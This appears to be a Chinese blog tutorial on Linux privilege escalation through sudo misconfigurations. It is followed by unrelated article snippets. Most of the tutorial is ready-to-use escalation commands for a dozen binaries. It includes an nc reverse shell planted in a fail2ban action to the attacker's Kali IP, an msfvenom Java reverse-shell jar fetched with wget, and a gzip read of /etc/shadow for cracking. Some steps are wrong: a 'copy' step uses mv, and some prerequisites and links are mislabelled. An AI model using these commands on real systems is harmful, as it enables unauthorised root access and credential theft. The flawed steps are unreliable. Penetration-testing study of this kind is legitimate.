渗透测试:Linux提权精讲(二)之sudo方法第二期
目录
写在开头
sudo expect
sudo fail2ban
sudo find
sudo flock
sudo ftp
sudo gcc
sudo gdb
sudo git
sudo gzip/gunzip
sudo iftop
sudo hping3
sudo java
总结与思考
写在开头
本文在上一篇博客的基础上继续讲解渗透测试的sudo提权方法。相关内容的介绍与背景详见:
渗透测试:Linux提权精讲(一)之sudo方法第一期_Bossfrank的博客-CSDN博客
本文将在红队笔记大佬讲解与GTFOBins开源项目(详见GTFOBins)的基础上,继续对Linux系统靶机的sudo提权方式进行简要总结。这里还是首先给出红队笔记大佬的视频链接:
「红队笔记」Linux提权精讲:Sudo风暴 - Sudo风暴第1部分,扫地僧级别心法,研究提权技术的同时,打磨你对linux内核的深度理解。渗透测试宝典。_哔哩哔哩_bilibili
文末的总结与思考模块会对本篇涉及到的提权方法进行分类,并总结sudo提权的思路与逻辑,未必描述的完全恰当,仅是我的个人理解,也欢迎读者评论与私信共同探讨。
sudo expect
漏洞利用前提
当前用户可以以sudo高级权限运行expect指令,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/expect
详情可见expect | GTFOBins
expect命令可以模拟用户的输入,将需要用户交互的操作自动化完成,可用于脚本和其他自动化环境之中。
操作方式
sudo expect -c 'spawn /bin/bash;interact'
其参数-c可之间添加脚本代码,而不是从文件中读取代码。spawn /bin/bash用于生成bash环境,用;interact指定是交互的shell,运行即可提权。从expect的利用也可以看出,很多可执行文件的sudo提权方式都是依靠其能够以高权限的身份指定配置文件或运行系统命令。
sudo fail2ban
漏洞利用前提
当前用户可以以sudo高级权限运行expect指令,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /etc/init.d/fail2ban
fail2ban是一个用于防御的工具,可以用于针对暴力破解密码的攻击。比如当ssh登录时多次密码错误,就会触发fail2ban的操作,短暂封禁登录的ip,短时期内无法再进行密码尝试。
操作方式
首先我们要知道fail2ban工具的目录在哪里,可以用find进行查找:
find -name "fail2ban*" -type d 2>/dev/null
结果显示有好几个目录,大概可以判断fail2ban的目录是/etc/fail2ban,我们查看其目录下的配置文件是否可写:
find /etc/fail2ban -writable -type d 2>/dev/null
结果显示为:/etc/fail2ban/action.d,也就是说配置文件action.d是可写的(该目录详细规定了当触发ban时执行的操作)。在linux的目录结构中,若以.d为名称结尾,通常说明该目录是一些脚本文件。我们进入/etc/fail2ban/action.d后,发现其中有配置文件iptables-multport.conf,该文件规定了当ssh登录在短时间内多次错误尝试触发ban行为后执行的操作,查看这个文件的属性(ls -liah iptables-multport.conf)如下:
345817 -rw-r--r-- 1 root root 1.5k May 22 15:24 iptables-multport.conf
可发现所属主和所属组都是root,文件的权限属性为644,而我们目前仅仅是一个普通的shell用户, 无法直接对该文件进行编辑修改。但是由于iptables-multport.conf所在目录/etc/fail2ban/action.d是可写的,我们可以在当前目录创建和删除文件,通过如下的操作实现对iptables-multport.conf的可写。首先通过mv将iptables-multport.conf文件重命名为iptables-multport.conf.bak:
mv iptables-multport.conf iptables-multport.conf.bak
执行此操作后,/etc/fail2ban/action.d目录下就没有iptables-multport.conf文件了,而有一个备份文件iptables-multport.conf.bak,这个iptables-multport.conf.bak文件与先前的iptables-multport.conf文件具有相同的文件属性(mv操作并不会创建新文件,仅仅是修改原文件的位置或名字,文件的权限并不会改变,所属主和所属组均为root),我们再把这个iptables-multport.conf.bak文件进行复制,并命名为iptables-multport.conf:
mv iptables-multport.conf.bak iptables-multport.conf
这样目录中就又有iptables-multport.conf了,此时由于cp操作的特性(以当前用户的权限创建新文件),我们查看iptables-multport.conf这个文件的属性(ls -liah iptables-multport.conf),可以发现所属主和所属组都变为了当前用户jackie:
345123 -rw-r--r-- 1 jackie jackie 1.5k May 22 15:54 iptables-multport.conf
此时我们就能够编辑iptables-multport.conf了,vim查看并编辑,在其中发现触发ban后执行的操作是actionban = 操作。我们讲这个操作修改为提权的逻辑,比如反弹shell,即修改后的iptables-multport.conf了文件中actionban所在行内容如下:
actionban = rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc kali的ip 1234 > /tmp/f
修改完成后:wq报错推出,再次sudo重启fail2ban服务,保证我们修改的iptables-multport.conf生效:
sudo /etc/init.d/fail2ban restart
然后进行kali中nc监听刚刚反弹shell的端口1234:
nc -lvnp 1234
最后我们只要再次ssh尝试登录jackie这个账户,并故意短时间内快速多次用错误密码尝试(具体需要多快可以查看文件/etc/fail2ban/jail.conf,里面写了10s内尝试5次就会触发ban。但我们只要尽可能的快速多次输入错误密码即可),触发actionban操作,即可触发反弹shell。
利用fail2ban的操作看似复杂,其实核心就是我们修改了fail2ban触发ban后执行的逻辑(改为了反弹shell),然后故意错误密码短时间多次尝试触发ban,利用fail2ban的sudo权限,触发ban后执行了我们指定的反弹shell操作。利用的难点在于:
1.必须知道fail2ban是干啥的,其中的配置文件在哪里,触发ban后的action的操作命令在哪里。
2.Linux系统的权限逻辑:配置文件iptables-multport.conf本身是不可编辑的(权限为644,当前用户无法编辑),但iptables-multport.conf所在目录action.d是可写的,我们利用mv和cp命令的权限逻辑,最终使得当前用户jackie对iptables-multport.conf具有可写权限。
sudo find
漏洞利用前提
当前用户可以以sudo高级权限运行find指令,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/find
详情可见find | GTFOBins
操作方式
sudo find . -exec /bin/bash \; -quit
运行上述命令即可提权。用find命令随便在某个目录查找,比如当前目录.,然后添加参数-exec执行bash(/bin/bash不会对find找到的文件进行任何处理),其中的分号;表示-exec执行命令的结束位置,分号;前面的\是转义符,对分号;进行了转义,如果不加转义符/,则分号;会被解释为命令行的语句分割符,会使得-exec找不到命令执行的结束位置。
sudo flock
漏洞利用前提
当前用户可以以sudo高级权限运行flock指令,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/flock
flock本身是一个linux系统中管理文件锁定的实用程序,协调多个进程对文件系统的访问,避免多个进程同时访问一个资源导致问题。利用详情可见flock | GTFOBins
操作方式
sudo flock -u / /bin/bash
运行即可提权。-u参数表示解锁(unlock),此处为解锁根目录/的文件,并用/bin/bash来操作,该指令会启动/bin/bash会话,从而实现提权。
sudo ftp
漏洞利用前提
当前用户可以以sudo高级权限运行ftp指令,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/ftp
利用详情可见flock | GTFOBins
操作方式
sudo ftp
!/bin/sh
运行即可提权,逻辑显然,利用ftp的交互命令行启动系统的bash。
sudo gcc
漏洞利用前提
当前用户可以以sudo高级权限运行gcc编译指令,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/gcc
利用详情可见gcc | GTFOBins
操作方式
sudo gcc -wrapper /bin/bash,-s .
运行即可提权。用-wrapper指定包装器,在包装器中添加启动shell的指令,,-s是bash的参数,指定从标准输入读取命令,保证读取到EOF时不会退出,点.表示编译的内容,此时我们并不关心编译啥,随便给个当前目录.即可。
sudo gdb
gdb | GTFOBins漏洞利用前提
当前用户可以以sudo高级权限运行gdb编译指令,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/gdb
gdb是GNU debugger的缩写,是源代码级别的调试器,主要用于C/C++的程序调试。利用详情可见gdb | GTFOBins
操作方式
sudo gdb -nx -ex '!bash' -ex quit
运行即可提权,其中-nx表示启动时不读取执行任何配置文件,-ex表示执行指令,感叹号!表示执行的是系统命令,执行完之后再执行退出(-ex quit)。
sudo git
漏洞利用前提
当前用户可以以sudo高级权限运行git指令,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/git
利用详情可见git | GTFOBins
操作方式
sudo git branch --help
!/bin/bash
通过查看帮助时调用了类似less的机制实现了提权,在查看帮助时可以输入感叹号!执行系统命令。该方法与在less中提权是很相似的。
sudo gzip/gunzip
漏洞利用前提
当前用户可以以sudo高级权限运行压缩/解压缩gzip/gunzip指令,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/gzip
(root) NOPASSWD: /usr/bin/gunzip
利用详情可见gzip | GTFOBins
操作方式
sudo gzip -f /etc/shadow -t
运行后会暴露/etc/shadow文件的内容,然后再用john破解即可,我的上一篇博客有类似的利用,比如sudo apache2,详见渗透测试:Linux提权精讲(一)之sudo方法第一期_Bossfrank的博客-CSDN博客
其中-t表示检查压缩文件,在进行检查的时候就会读取并显示对应文件,从而暴露了敏感文件/etc/shadow, -f表示force强制执行,保证程序可以正常执行。gunzip的利用方式完全一致。
sudo iftop
漏洞利用前提
当前用户可以以sudo高级权限运行iftop指令,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/sbin/iftop
iftop是一个命令行形式的网络流量监控工具,用于实时显示某个网络接口的带宽使用情况,可以显示实时视图。利用详情可见iftop | GTFOBins
操作方式
sudo iftop
!/bin/bash
通过输入!告诉工具要执行系统命令,然后启动bash提权。
sudo hping3
漏洞利用前提
当前用户可以以sudo高级权限运行网络工具hping3指令,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/sbin/hping3
hping3是一个非常强大的网络工具,主要用于分析测试网络环境,生成各种类型的数据包。利用详情可见hping3 | GTFOBins
操作方式
sudo hping3
/bin/bash
利用方式和sudo ftp类似,工具都有自带的命令行,在自带的命令行中运行系统命令,启动bash即可提权。
sudo java
漏洞利用前提
当前用户可以以sudo高级权限运行java,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/java
遇到这种运行主流语言作为sudo的指令时,首先考虑采用该语言本身的反弹shell指令提权。
操作方式
思路就是,写一个java的反弹shell(shell.jar),然后再靶机中执行java -jar shell.jar即可,我们此处用kali自带的msfvenom生成java的反弹shell:
msfvenom -p java/shell_reverse_tcp LHOST=kali的ip LPORT=1234 -f jar -o shell.jar
然后把这个文件传到靶机上,传统思路,当前目录开启http服务:
php -S 0:80
然后在靶机中把这个shell.jar给他wget下来:
wget http://kali的ip/shell.jar
然后靶机中运行即可(注意kali中先要开启nc -lvnp 1234):
java -jar shell.jar
总结与思考
本文介绍了12种常见的sudo提权方式,主要还是利用了系统对可执行文件/工具的高权限配置,使得低权限的用户(初始靶机shell)能够以root权限sudo免密执行高权限的指令。相信通过本文的介绍,希望读者能够对提权的本质:低权限用户因为某种原因(配置/漏洞)能够运行高权限的指令/工具/脚本,有更为直观的理解。最后决定还是将本文的12种提权方式强行来一个归类总结,纯属个人理解,如果有总结不到位的地方还请读者多多指出。
可直接执行系统命令:sudo expect, sudo find, sudo gdb
利用工具运行时触发的脚本:sudo fail2ban
利用工具的某些可以启动shell的参数:sudo flock, sudo gcc
交互命令行可执行系统命令:sudo ftp, sudo itop, sudo hping3
敏感文件泄露:sudo gzip/gunzip
类似在less环境执行系统命令:sudo git
某种语言(编写反弹shell):sudo java
这篇博客到这里就结束了,总结真的不易,还请读者多多点赞关注支持! 本文所提到的提权方式我暂未全部实践过,可能还需要长期的渗透测试打靶与实践才能遇到这么多种情况吧。近期我将继续总结有关Linux提权相关的方法、也会继续坚持打靶,还望读者多多支持。
相关文章:

渗透测试:Linux提权精讲(二)之sudo方法第二期
目录 写在开头 sudo expect sudo fail2ban sudo find sudo flock sudo ftp sudo gcc sudo gdb sudo git sudo gzip/gunzip sudo iftop sudo hping3 sudo java 总结与思考 写在开头 本文在上一篇博客的基础上继续讲解渗透测试的sudo提权方法。相关内容的介绍与背…...

ansible安装lnmp(集中式)
文章目录 一、安装nginx二、安装mysql三、安装php测试: 一、安装nginx - name: the nginx playhosts: webserversremote_user: roottasks:- name: stop firewalld #关闭防火墙service: namefirewalld statestopped enabledno- name: selinux stopc…...

Tomcat的基本使用,如何用Maven创建Web项目、开发完成部署的Web项目
Tomcat 一、Tomcat简介二、Tomcat基本使用三、Maven创建Web项目3.1 Web项目结构3.2开发完成部署的Web项目3.3创建Maven Web项目3.3.1方式一3.3.2方式二(个人推荐) 总结 一、Tomcat简介 Web服务器: Web服务器是一个应用程序(软件&…...

微信小程序测试要点
一、什么是小程序? 可以将小程序理解为轻便的APP,不用安装就可以使用的应用。用户通过扫一扫或者搜索的方式,就可以打开应用。 小程序最主要的特点是内嵌于微信之中,而使用小程序的目的是为了能够方便用户不在受下载多个APP的烦…...

TCP网络通信编程之netstat
【netstat指令】 【说明】 (1)Listening 表示某个端口在监听 (2)如果有一个外部程序(客户端)连接到该端口,就会显示一条连接信息 (3)指令netstat -anb 可以参看是那个…...

Stable Diffusion:网页版 体验 / AI 绘图
一、官网地址 Stable Diffusion Online 二、Stable Diffusion AI 能做什么 Stable Diffusion AI绘图是一种基于Stable Diffusion模型的生成式AI技术,能够生成各种类型的图像,包括数字艺术、照片增强和图像修复等。以下是一些可能的应用: …...

一文了解JavaScript 与 TypeScript的区别
TypeScript 和 JavaScript 是两种互补的技术,共同推动前端和后端开发。在本文中,我们将带您快速了解JavaScript 与 TypeScript的区别。 一、TypeScript 和 JavaScript 之间的区别 JavaScript 和 TypeScript 看起来非常相似,但有一个重要的区…...

从更广阔的角度看待产业互联网,它展现的是一次重构的过程
如果产业互联网仅仅只是在传统的供求关系之下,如果产业互联网仅仅只是在传统的平衡之下,缺少了一次对于供求关系的重新建构,那么,所谓的产业互联网,依然是无法跳出以往的发展困境,依然是无法摆脱以往的发展…...

【PHP】简记问题:使用strtotime(‘-1 month‘, time)获取上个月第一天时间戳出错
发生场景 在7月31号是查看统计上个月订单购买总金额,查询结果为0 $preMonthStart strtotime(date(Ym01, strtotime("-1 month"))); $curMonthStart strtotime(date(Ym01)); # 统计上月份实际订单金额 $sql "SELECT count(money) FROM orders WH…...

舌体分割的初步展示应用——依托Streamlit搭建demo
1 前言 去年在社区发布了有关中医舌象诊断的博文,其中舌象识别板块受到了极高的关注和关注。😊最近,我接触到了Python的Streamlit库,它可以帮助数据相关从业人员轻松搭建数据看板。本文将介绍如何使用Streamlit构建舌体分割的演示…...

从Vue层面 - 解析发布订阅模式和观察者模式区别
目录 前言一、发布订阅模式什么是发布订阅模式?应用场景 二、观察者模式1)什么是观察者模式?2)应用场景3)vue中的观察者模式观察者(订阅者) - Watcher目标者(发布者) - D…...

面向对象之_多态_1
目录 一. 多态 多态是什么 二. 多态的构成条件 1. 虚函数 2. 虚函数重写(隐藏) 3. 父类型的引用或者指针调用 4. 多态的特殊情况 1) 子类可以不加 virtual 关键字 2) 协变 三. 关键字 1. virtual 2. final 3. override 四. 多态的原理 1. 虚…...

Spring学习笔记之spring概述
文章目录 Spring介绍Spring8大模块Spring特点 Spring介绍 Spring是一个轻量级的控制反转和面向切面的容器框架 Spring最初的出现是为了解决EJB臃肿的设计,以及难以测试等问题。 Spring为了简化开发而生,让程序员只需关注核心业务的实现,尽…...

旧项目导入Eclipse时文件夹看起来乱七八糟,无从下手的解决办法(无main或webapp等文件夹)
首先,如果没有main或java/resource/webapp等文件夹,那就自己在src下面创建一个,只要对应关系与我下图左边红框一致即可,创建完之后java文件移到java文件夹下,资源文件例如.properties、老项目的数据源定义.INI文件、日…...

Reinforcement Learning with Code 【Code 2. Tabular Sarsa】
Reinforcement Learning with Code 【Code 2. Tabular Sarsa】 This note records how the author begin to learn RL. Both theoretical understanding and code practice are presented. Many material are referenced such as ZhaoShiyu’s Mathematical Foundation of Rei…...

服务调用---------Ribbon和Feign
目录 1、Ribbon 1.1 Ribbon简介 1.2 Ribbon负载均衡 负载均衡原理 负载均衡策略 Ribbon和Nginx的区别 1.3 服务调用和Ribbon负载均衡实现 2、Feign&openFeign 3、Feign支持的配置 日志功能 连接池 feign-api远程包 1、Ribbon 1.1 Ribbon简介 Ribb…...

app自动化测试之Appium问题分析及定位
使用 Appium 进行测试时,会产生大量日志,一旦运行过程中遇到报错,可以通过 Appium 服务端的日志以及客户端的日志分析排查问题。 Appium Server日志-开启服务 通过命令行的方式启动 Appium Server,下面来分析一下启动日志&#…...

婚庆服务小程序app开发方案详解
开发一款婚庆行业服务小程序有哪些功能呢? 1、选择分类 选择婚庆、婚车、婚宴、司仪、彩妆、婚庆用品、跟拍、摄影等,筛选出对应的商家 2、选择商家 选择分类后,可以选择商家,查看各个商家的详细介绍情况。 3、选择服务套餐 各…...

集合简述
集合ListArrayListLinkedList SetHashSetTreeSet MapHashMapTreeMap 集合与数组的区别 集合 集合是java中的一个容器,可以在里面存放数据,容量可以发生改变 从集合框架结构可以分析得知: 1、集合主要分为Collection和Map两个接口 2、Collecti…...

常见的软件测试面试题汇总
一、 你们的测试流程是怎么样的? 答:1.项目开始阶段,BA(需求分析师)从用户方收集需求并将需求转化为规格说明书,接 下来在项目组领导会组织需求评审。 2.需求评审通过后,BA 会组织项目经理…...

学习笔记|大模型优质Prompt开发与应用课(二)|第二节:超高产文本生成机,传媒营销人必备神器
文章目录 01 文字写作技能的革新,各行各业新机遇四大类常见文字工作新闻记者的一天新闻记者的一天–写策划prompt 新闻记者的一天–排采访prompt生成结果prompt生成结果 大模型加持,文字写作我们如何提效营销创作营销创作-使用预置法为不同平台生成文案p…...

Linux基础-4
1、linux高阶命令 1.1、find 在linux文件系统中,用来查找一个文件放在哪里了。 //举例 find /etc -name "interfaces" //总结: //(1)什么时候用find? //当你知道你要找的文件名,但是你忘记了它被放在哪个目录下&…...

oracle-创建函数
oracle自定义函数 核心提示:函数用于返回特定数据。执行时得找一个变量接收函数的返回值; 语法如下: create or replace function function_name ( argu1 [mode1]datatype1, argu2 [mode2] datatype2, … ) return datatype is begin end; 执行 var v1 varchar2(1…...

【Ansible 的脚本 --- playbook 剧本】
目录 一、playbook 剧本介绍二、示例1、运行playbook2、定义、引用变量 三、使用playbook部署lnmp集群 一、playbook 剧本介绍 playbooks 本身由以下各部分组成 (1)Tasks:任务,即通过 task 调用 ansible 的模板将多个操作组织在…...

ubuntu释放缓存
sudo sysctl vm.drop_caches1 sudo sysctl vm.drop_caches2 sudo sysctl vm.drop_caches3释放页面缓存: $ sudo sysctl vm.drop_caches1释放目录项和索引节点缓存: $ sudo sysctl vm.drop_caches2释放页面缓存、目录项和索引节点缓存: $ sudo…...

实用调试技巧(1)
什么是bug?调试是什么?有多重要?debug和release的介绍。windows环境调试介绍。一些调试的实例。如何写出好(易于调试)的代码。编程常见的错误。 什么是Bug 我们在写代码的时候遇到的一些问题而导致程序出问题的就是Bu…...

uniapp:H5定位当前省市区街道信息
高德地图api,H5定位省市区街道信息。 由于uniapp的uni.getLocation在H5不能获取到省市区街道信息,所以这里使用高德的逆地理编码接口地址接口,通过传key和当前经纬度,获取到省市区街道数据。 这里需要注意的是:**高德…...

自然语言处理从入门到应用——LangChain:提示(Prompts)-[提示模板:部分填充的提示模板和提示合成]
分类目录:《自然语言处理从入门到应用》总目录 部分填充的提示模板 提示模板是一个具有.format方法的类,它接受一个键值映射并返回一个字符串(一个提示),以传递给语言模型。与其他方法一样,将提示模板进行…...

论文笔记--GloVe: Global Vectors for Word Representation
论文笔记--GloVe: Global Vectors for Word Representation 1. 文章简介2. 文章概括3 文章重点技术3.1 两种常用的单词向量训练方法3.2 GloVe3.3 模型的复杂度 4. 文章亮点5. 原文传送门6. References 1. 文章简介 标题:GloVe: Global Vectors for Word Representa…...

day57|● 647. 回文子串 ● 516.最长回文子序列
647. 回文子串 https://leetcode.cn/problems/palindromic-substrings/solution/by-lfool-2mvg/ Given a string s, return the number of palindromic substrings in it. A string is a palindrome when it reads the same backward as forward. A substring is a contiguous…...